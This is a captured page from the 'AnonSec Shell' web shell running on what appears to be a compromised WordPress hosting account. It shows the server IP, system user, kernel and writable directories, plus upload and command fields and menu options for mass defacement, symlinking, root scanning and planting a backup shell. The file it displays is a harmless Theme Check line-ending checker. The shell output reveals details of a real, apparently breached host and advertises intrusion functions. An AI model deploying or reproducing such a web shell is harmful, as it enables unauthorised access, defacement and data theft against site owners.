. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.216.178   [ Reverse IP ]
Web Server : Apache
System : Linux webm002.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : eticmes ( 123698)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/eticmes/www/wp-content/themes/theme-check/checks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/eticmes/www/wp-content/themes/theme-check/checks/class-line-endings-check.php
<?php
/**
 * Check if more than one line ending style is used.
 *
 * @package Theme Check
 */

/**
 * Check if more than one line ending style is used.
 */
class Line_Endings_Check implements themecheck {
	/**
	 * Error messages, warnings and info notices.
	 *
	 * @var array $error
	 */
	protected $error = array();

	/**
	 * Check that return true for good/okay/acceptable, false for bad/not-okay/unacceptable.
	 *
	 * @param array $php_files File paths and content for PHP files.
	 * @param array $css_files File paths and content for CSS files.
	 * @param array $other_files Folder names, file paths and content for other files.
	 */
	public function check( $php_files, $css_files, $other_files ) {
		$ret = true;
		foreach ( $php_files as $php_key => $phpfile ) {
			if ( preg_match( "/\r\n/", $phpfile ) ) {
				if ( preg_match( "/[^\r]\n/", $phpfile ) ) {
					$filename      = tc_filename( $php_key );
					$this->error[] = sprintf(
						'<span class="tc-lead tc-required">%s</span>: %s',
						__( 'REQUIRED', 'theme-check' ),
						sprintf(
							__( 'Both DOS and UNIX style line endings were found in the file %s. This causes a problem with SVN repositories and must be corrected before the theme can be accepted. Please change the file to use only one style of line endings.', 'theme-check' ),
							'<strong>' . $filename . '</strong>'
						)
					);
					$ret           = false;
				}
			}
		}
		foreach ( $css_files as $css_key => $cssfile ) {
			if ( preg_match( "/\r\n/", $cssfile ) ) {
				if ( preg_match( "/[^\r]\n/", $cssfile ) ) {
					$filename      = tc_filename( $css_key );
					$this->error[] = sprintf(
						'<span class="tc-lead tc-required">%s</span>: %s',
						__( 'REQUIRED', 'theme-check' ),
						sprintf(
							__( 'Both DOS and UNIX style line endings were found in the file %1$s. This causes a problem with SVN repositories and must be corrected before the theme can be accepted. Please change the file to use only one style of line endings.', 'theme-check' ),
							'<strong>' . $filename . '</strong>'
						)
					);
					$ret           = false;
				}
			}
		}
		foreach ( $other_files as $oth_key => $othfile ) {
			$e = pathinfo( $oth_key );
			if ( isset( $e['extension'] ) && in_array( $e['extension'], array( 'txt', 'js' ) ) ) {
				if ( preg_match( "/\r\n/", $othfile ) ) {
					if ( preg_match( "/[^\r]\n/", $othfile ) ) {
						$filename      = tc_filename( $oth_key );
						$this->error[] = sprintf(
							'<span class="tc-lead tc-required">%s</span>: %s',
							__( 'REQUIRED', 'theme-check' ),
							sprintf(
								__( 'Both DOS and UNIX style line endings were found in the file %1$s. This causes a problem with SVN repositories and must be corrected before the theme can be accepted. Please change the file to use only one style of line endings.', 'theme-check' ),
								'<strong>' . $filename . '</strong>'
							)
						);
						$ret           = false;
					}
				}
			}
		}
		return $ret;
	}

	/**
	 * Get error messages from the checks.
	 *
	 * @return array Error message.
	 */
	public function getError() {
		return $this->error;
	}
}

$themechecks[] = new Line_Endings_Check();

Anon7 - 2022
AnonSec Team